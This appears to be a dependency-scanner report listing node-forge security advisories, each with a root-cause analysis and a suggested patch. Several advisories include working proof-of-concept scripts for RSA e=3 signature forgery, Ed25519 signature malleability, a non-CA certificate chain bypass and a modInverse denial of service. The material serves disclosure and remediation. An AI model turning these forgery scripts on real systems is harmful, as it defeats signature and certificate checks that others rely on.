File Path: /github/workspace/package-lock.json?node-forge
Referenced In Project/Scope: package-lock.json: transitive
### Summary CVE-2025-12816 has been reserved by CERT/CC **Description** An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions. ### Details A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within `forge/lib/asn1.js`. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives. This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type). ### Impact This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data. This vulnerability impacts the `ans1.validate` function in `node-forge` before patched version `1.3.2`. https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js. The following components in `node-forge` are impacted. [lib/asn1.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153) [lib/x509.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667) [lib/pkcs12.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328) [lib/pkcs7.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90) [lib/rsa.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167) [lib/pbe.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363) [lib/ed25519.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81) Any downstream application using these components is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.CWE-436 Interpretation Conflict
Vulnerable Software & Versions (NPM):
## Summary
A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.
Affected Package
Package name: node-forge (npm: node-forge)
Repository: https://github.com/digitalbazaar/forge
Affected versions: All versions (including latest)
Affected file: lib/jsbn.js, function bnModInverse()
Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library
## Vulnerability Details
Type: Denial of Service (DoS)
CWE: CWE-835 (Loop with Unreachable Exit Condition)
Attack vector: Network (if the application processes untrusted input that reaches modInverse)
Privileges required: None
User interaction: None
Impact: Availability (process hangs indefinitely)
Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)
## Root Cause Analysis
The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.
Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop.
The relevant code path in lib/jsbn.js:
```js
javascriptfunction bnModInverse(m) {
// ... setup ...
// No check for this == 0
// Enters Extended Euclidean Algorithm loop that never terminates when this == 0
}
```
## Attack Scenario
Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:
DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.
Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters.
Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().
A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.
## Proof of Concept
Environment Setup
```bash
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
```
Reproduction (poc.js)
A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.
```bash
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
# Save the script below as poc.js, then run:
node poc.js
```
```javascript
'use strict';
const { spawnSync } = require('child_process');
const childCode = `
const forge = require('node-forge');
// jsbn may not be auto-loaded; try explicit require if needed
if (!forge.jsbn) {
try { require('node-forge/lib/jsbn'); } catch(e) {}
}
if (!forge.jsbn || !forge.jsbn.BigInteger) {
console.error('ERROR: forge.jsbn.BigInteger not available');
process.exit(2);
}
const BigInteger = forge.jsbn.BigInteger;
const zero = new BigInteger('0', 10);
const mod = new BigInteger('3', 10);
// This call should throw or return 0, but instead loops forever
const inv = zero.modInverse(mod);
console.log('returned: ' + inv.toString());
`;
console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();
const result = spawnSync(process.execPath, ['-e', childCode], {
encoding: 'utf8',
timeout: 5000,
});
if (result.error && result.error.code === 'ETIMEDOUT') {
console.log('[VULNERABLE] Child process timed out after 5s');
console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
process.exit(0);
}
if (result.status === 2) {
console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
console.log(' -> Check your node-forge installation');
process.exit(1);
}
if (result.status === 0) {
console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
process.exit(1);
}
console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log(' stderr:', result.stderr.trim());
process.exit(1);
```
Expected Output
```
[*] Testing: BigInteger(0).modInverse(3)
[*] Expected: throw an error or return quickly
[*] Spawning child process with 5s timeout...
[VULNERABLE] Child process timed out after 5s
-> modInverse(0, 3) entered an infinite loop (DoS confirmed)
Verified On
```
node-forge v1.3.1 (latest at time of writing)
Node.js v18.x / v20.x / v22.x
macOS / Linux / Windows
## Impact
Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.
Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.
## Suggested Fix
Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js:
```javascript
function bnModInverse(m) {
var ac = m.isEven();
// Add this check:
if (this.signum() == 0) {
throw new Error('BigInteger has no modular inverse: input is zero');
}
// ... rest of the existing implementation ...
}
```
Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')Vulnerable Software & Versions (NPM):
## Summary
RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries.
## Impacted Deployments
**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`
**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.
**Configuration assumptions:**
- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).
- `_parseAllDigestBytes: true` (default setting).
## Root Cause
In `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.
Two issues are present with this logic:
1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
## Reproduction Steps
1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.
4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.
5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
6. The script verifies both signatures with:
- forge verify (`_parseAllDigestBytes: true`), and
- Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).
7. Confirm output includes:
- `control-forge-strict: true`
- `control-node: true`
- `forgery (forge library, strict): true`
- `forgery (node/OpenSSL): false`
## Proof of Concept
**Overview:**
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).
- Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:
```text
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
```
<details><summary>repro_min.js</summary>
```javascript
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();
```
</details>
## Suggested Patch
- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block.
- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
```diff
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
error.errors = errors;
throw error;
}
+
+ if(obj.value.length != 2) {
+ var error = new Error(
+ 'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+ 'a valid RSASSA-PKCS1-v1_5 package.');
+ error.errors = errors;
+ throw error;
+ }
// check hash algorithm identifier
// see PKCS1-v1-5DigestAlgorithms in RFC 8017
// FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
}
++padNum;
}
+
+ if (padNum < 8) {
+ throw new Error('Encryption block is invalid.');
+ }
} else if(bt === 0x02) {
// look for 0x00 byte
padNum = 0;
```
## Resources
- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
- > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.
- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.
## Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
CWE-347 Improper Verification of Cryptographic Signature, CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
## Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
## Impacted Deployments
**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`
**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
**Configuration assumptions:**
- Default forge Ed25519 verify API path (`ed25519.verify(...)`).
## Root Cause
In `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:
```javascript
scalarbase(q, sm.subarray(32));
```
There is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
## Reproduction Steps
- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.
- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.
- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).
- Confirm output includes:
```json
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
```
## Proof of Concept
**Overview:**
- Demonstrates a valid control signature and a forged (S + L) signature in one run.
- Uses Node/OpenSSL as a differential verification baseline.
- Observed output on tested commit:
```text
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
```
<details><summary>poc.js</summary>
```javascript
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}
function verifyWithCrypto(publicKey, message, signature) {
try {
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
const ok = crypto.verify(null, message, keyObject, signature);
return { ok };
} catch (error) {
return { ok: false, error: error.message };
}
}
function toResult(label, original, tweaked) {
return {
[label]: {
original_valid: original.ok,
tweaked_valid: tweaked.ok,
},
};
}
function main() {
const kp = ed.generateKeyPair();
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
const tweaked = addLToS(sig);
const okTweaked = ed.verify({
message: MESSAGE,
signature: tweaked.sig,
publicKey: kp.publicKey,
});
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
const result = {
...toResult('forge', { ok }, { ok: okTweaked }),
...toResult('crypto', cryptoOriginal, cryptoTweaked),
};
console.log(JSON.stringify(result, null, 2));
}
main();
```
</details>
## Suggested Patch
Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`).
Here is a patch we tested on our end to resolve the issue, though please verify it on your end:
```diff
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
return -1;
}
+ if(!_isCanonicalSignatureScalar(sm, 32)) {
+ return -1;
+ }
+
for(i = 0; i < n; ++i) {
m[i] = sm[i];
}
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
return mlen;
}
+function _isCanonicalSignatureScalar(bytes, offset) {
+ var i;
+ // Compare little-endian scalar S against group order L and require S < L.
+ for(i = 31; i >= 0; --i) {
+ if(bytes[offset + i] < L[i]) {
+ return true;
+ }
+ if(bytes[offset + i] > L[i]) {
+ return false;
+ }
+ }
+ // S == L is non-canonical.
+ return false;
+}
+
function modL(r, x) {
var carry, i, j, k;
for(i = 63; i >= 32; --i) {
```
## Resources
- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
- > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l
## Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
CWE-347 Improper Verification of Cryptographic SignatureVulnerable Software & Versions (NPM):
## Summary
`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.
## Technical Details
In `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:
1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`
2. The `basicConstraints.cA` check is gated on `bcExt !== null`
When a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.
**RFC 5280 Section 6.1.4 step (k) requires:**
> "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."
The absence of `basicConstraints` should result in rejection, not acceptance.
## Proof of Concept
```javascript
const forge = require('node-forge');
const pki = forge.pki;
function generateKeyPair() {
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [
{ name: 'commonName', value: 'Legitimate Root CA' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
{ name: 'basicConstraints', cA: true, critical: true },
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
// This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf
// This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [
{ name: 'commonName', value: 'victim.example.com' },
{ name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);
try {
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
console.log(' This violates RFC 5280 Section 6.1.4.');
} catch (e) {
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}
```
**Results:**
- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)
- Certificate with `basicConstraints.cA=false`: correctly rejected
- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected
- Proper intermediate CA (control): correctly accepted
## Attack Scenario
An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.
This affects applications using node-forge for:
- Custom PKI / certificate pinning implementations
- S/MIME / PKCS#7 signature verification
- IoT device certificate validation
- Any non-native-TLS certificate chain verification
## CVE Precedent
This is the same vulnerability class as:
- **CVE-2014-0092** (GnuTLS) — certificate verification bypass
- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass
- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance
## Not a Duplicate
This is distinct from:
- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)
- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)
- GitHub issue #1049 (null subject/issuer — different malformation)
## Suggested Fix
Add an explicit check for absent `basicConstraints` on non-leaf certificates:
```javascript
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
error = {
message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
error: pki.certificateError.bad_certificate
};
}
```
## Disclosure Timeline
- 2026-03-10: Report submitted via GitHub Security Advisory
- 2026-06-08: 90-day coordinated disclosure deadline
## Credits
Discovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)
CWE-295 Improper Certificate ValidationVulnerable Software & Versions (NPM):
### Summary An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. ### Details An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge `asn1.fromDer` function within `forge/lib/asn1.js`. The ASN.1 DER parser implementation (`_fromDer`) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw `RangeError: Maximum call stack size exceeded`, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects. ### Impact This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing. This vulnerability impacts the ans1.fromDer function in `node-forge` before patched version `1.3.2`. Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.CWE-674 Uncontrolled Recursion
Vulnerable Software & Versions (NPM):
### Summary
**MITRE-Formatted CVE Description**
